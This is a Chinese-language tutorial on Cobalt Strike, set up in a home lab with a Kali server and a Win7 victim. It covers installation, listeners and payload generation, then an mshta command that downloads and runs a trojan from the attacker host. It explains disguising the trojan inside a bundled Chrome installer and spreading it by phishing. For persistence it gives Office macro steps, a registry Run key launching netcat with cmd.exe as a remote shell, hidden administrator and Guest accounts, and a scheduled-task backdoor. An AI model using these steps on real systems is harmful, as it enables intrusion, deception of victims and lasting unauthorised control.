cobaltstrike的安装与基础使用

数据来源

  本文仅用于信息安全学习，请遵守相关法律法规，严禁用于非法途径。若观众因此作出任何危害网络安全的行为，后果自负，与本人无关。 

Cobalt Strike是什么?

** Cobalt Strike（简称CS）是一款团队作战渗透测试神器，分为客户端及服务端，一个服务端可以对应多个客户端，一个客户端可以连接多个服务端。**

** CS主要是用来后期持久渗透、横向移动、流量隐藏、数据窃取的工具。当已经在目标机器上执行了CS的payload（有效载荷/攻击模块/攻击方式），它会创建一个 Beacon（远控木马功能）回连到 C2 服务器。**

** C2：Command & Control server的简称，也就是命令与控制服务器**

• ** - adscript：拓展应用的脚本**

• ** - c2lint：用于检查 profile 的错误异常**

• ** - teamserver：服务端程序**

• ** - cobaltstrike，cobaltstrike.jar：客户端程序（java跨平台）**

• ** - logs：目录记录与国标主机的相关信息**

• ** - update.jar：用于更新CS**

• ** - csthird - party：第三方工具**

    **最核心的就是 teamserver 和 cobaltstrike.jar，分别是服务端和客户端 **
  

kali安装cobaltstrike

** 在 cs4.0目录下新建终端，然后运行服务端teamserver**

** chmod +x teamserver # 给予服务端程序teamserver 执行权限（在linux中复制进来的文件默认是没有执行权限的）**

** ifconfig eth0 # 可以查看kali的IP地址（可选）**

** ./teamserver 192.168.0.104 user # 运行服务端程序，192.168.0.104是本机IP，user 是要设置的连接密码（可改）**

在 cs4.0目录下新建终端，输入如下命令运行客户端程序

java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar

**新建配置文件，连接CS服务器 **

常用功能

1. 链接到另外一个团队服务器
2. 断开服务器连接
3. 查看所有监听器
4. 切换为pivot图[服务器节点]
5. 切换为会话列表
6. 切换为目标列表
7. 查看凭据信息
8. 查看下载文件
9. 查看键盘记录
10. 查看屏幕截图
11. 生成stageless的exe木马文件
12. 设定java自签名applet程序攻击
13. 生成恶意Office宏攻击
14. 建立web delivery
15. 在web服务器上托管文件
16. 管理在web服务器上的应用和文件
17. 帮助
18. 关于

Cobaltstrike简介- 监听器 Listener（3）

**1. 内部 beacon **

• Beacon DNS
• Beacon HTTP
• BeaconHTTPS
• Beacon SMB
• Beacon TCP

2. 外部 beacon [与其他工具联合使用时会用到]

• Foreign HTTP
• Foreign HTTPS

打开监听器配置

** 创建一个新的监听器 -> 填写监听器名称（随便写，不重复就行）-> 选择有效载荷/攻击模块/攻击方式**

** 添加HTTP主机**

** 添加要在开启监听的HTTP端口：0-65535 在这个取值范围中1023以下的端口已经分配给了常用的一些应用程序，建议往大的填，避免端口被占用（重复）--> 最后保存即可

Cobaltstrike简介 - Attacks（攻击）

Packages（封装/生成后门）：

• HTML Application 生成**hta **HTML应用程序
• MS Office Macro 生成恶意宏放入 office 文件
• Payload Generator 生成各种语言版本的 payload
• Windows Executable 可执行文件 默认x86 勾选x64表示生成×64
• Windows Executable(S) stageless生成全功能被控端

Web Drive-by：

• Manage 管理当前 Team Server 开启的所有web服务
• Clone site克隆某网站
• Host File 在 Team Serve 的某端口提供Web以供下载某文件
• Scripted Web Delivery 为 payload 提供web服务以便于下载和执行
• System Profiler 用来获取系统信息：系统版本、Flash版本、浏览器版本等

攻击目标机器 - HTML Application（生成**hta **HTML应用程序）

1）生成hta文件 （木马文件）

** 最后在桌面上就能找到木马程序**

2）提供端口下载文件（给受害者提供一个提供一个端口，让他可以下载我们的木马文件）

http://192.168.0.104:10067/download/file.ext

3）靶机执行远程命令

** 我这里开了一台win7虚拟机（受害者）访问木马连接（注意：win7虚拟机要和kali连接同一个网络，不然两者无法通信）**

** **测试win7和kali是否可以通信，使用命令：ping 目标IP地址（kali的ip）

** 在win7的虚拟机的cmd中输入命令： mshta http://192.168.0.104:10067/download/file.ext # 访问kali系统生成的木马文件，这是最基本的上线方式**

攻击目标机器 - 操控目标机器

** 当有目标主机以任何方式运行了生成的被控端，出现在主机列表。**

** 选中要操作的目标主机 -> 鼠标右键-> 进入beacon（交互命令界面），在此使用 Beacon Commands对目标主机执行各种操作。**

1）获取到对方的cmd权限

    **  sleep 0       # 设置beacon延迟时间为0毫秒，默认是60秒也就是说60秒命令才会成效一次**

** 也可以使用图形界面的方式更改延迟时间**

** shell ipconfig ** # 执行shell令，如果是在windows系统的命令行中我们要查看IP配置直接ipconfig 就可以了，但是在这里不行，要在前面加上shell

2）使用文件管理器

3）获取目标的远程桌面（VNC）

4）获取目标的进程

5）屏幕截图

生成后门木马 - Windows Executable（Windows可执行文件）

1）生成可执行文件

2. 捆绑软件

    这个木马文件别人一看都不知道这是啥？都不会下载运行，所以我们要把木马文件和其它软件的安装包捆绑起来，让他们安装其它软件时就自动安装我们的木马

**用到的软件 **

• 压缩软件：WinRAR_5
• 软件图标：Restorator
• 再准备一个谷歌的安装程序（在网上随便搜一下就能下载），用来捆绑木马

创建自解压文件（把木马文件捆绑都谷歌的安装程序上）

**解压路径可以放到公用：C:\Users\Public **

现在软件的图标和谷歌的不一样我们改一下图标，打开Restorator

**成功，捆绑软件 **

** 最后受害者运行我们制作的谷歌安装程序，我们在kali就能监听到**

运行我们制作的程序一样是可以安装谷歌，所以一般人是不会怀疑的

** kali这边就能监听到**

3. 上传至目标机器

• 通过 webshell上传、运行
• 通过互联网传播、钓鱼

生成后门木马 - Office 宏病毒

1. 为文档添加宏，保存打开正常的 office文件,如 test、docx

• 视图 ···>宏 ···> 查看宏
• 选择宏的位置为当前文档 ···> 输入宏名···> 创建
• copy Macro 粘贴到宏命令处
• 选择否，另存为docm文件

2. 上传至目标机器

• 通过互联网邮箱、社交媒体、论坛传描
• 诱导点击

** 实现：**

** 1）创建**Office 宏病毒 代码

2）创建一个docx文档，在桌面新建DOCX 文档并打开，前提你电脑没有安装WPS​​​​​然后安装WPS的VB宏插件，安装步骤一路下一步（可以选择安装路径）

写一些内容，最后保存文件

攻击完成后的操作

• 开机自启动
• 每次启动登录时都会按顺序自动执行

HKEY_CURRENT_USER\Software\Microsoft\Windows\Currentversion\Run

HKEY_LOCAL_MACHINE\Software\Microsoft\windows\Currentversion\Run

HKEY_CURRENT_USER\Software\Microsoft\Windows\Currentversion\Policies\Explorer\Run

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Currentversion\Policies\Explorer\Run

注册表的 HKEY_LOCAL_MACHINE 和 HKEY_CURRENT_USER 键的区别：前者对所有用户有效 ，后者对只对当前用户有效

上传nc（木马）

    upload nc.exe C:\\windows\\system32

查看自启动注册表项：

    reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

# 添加注册表，开机启动nc并开启监听

    reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d ‘C: \windows\system32\nc64.exe -Ldp 5555 -e cmd.exe’

# 查看注册表指定项值

    reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc 

隐藏账户

隐藏用户：

** net user admin$ 123456 /add&& net localgroup administrators admin$ /add # admin$就是隐藏用户名，‘$’表示隐藏，123456是用户密码，&& 后面跟着的命令是把admin$这个用品那个号加入到管理组，让他拥有管理员权限**

激活 Guest 用户：（来宾用户默认是没有激活的）

    net user guest Admin@hacker && net localgroup administrators guest /add

    net user guest /active:yes 

计划任务

    schtasks  /create /sc MINUTE /mo 1 /tr C:\Users\Administrator\Desktop\mx\5555.exe /tn test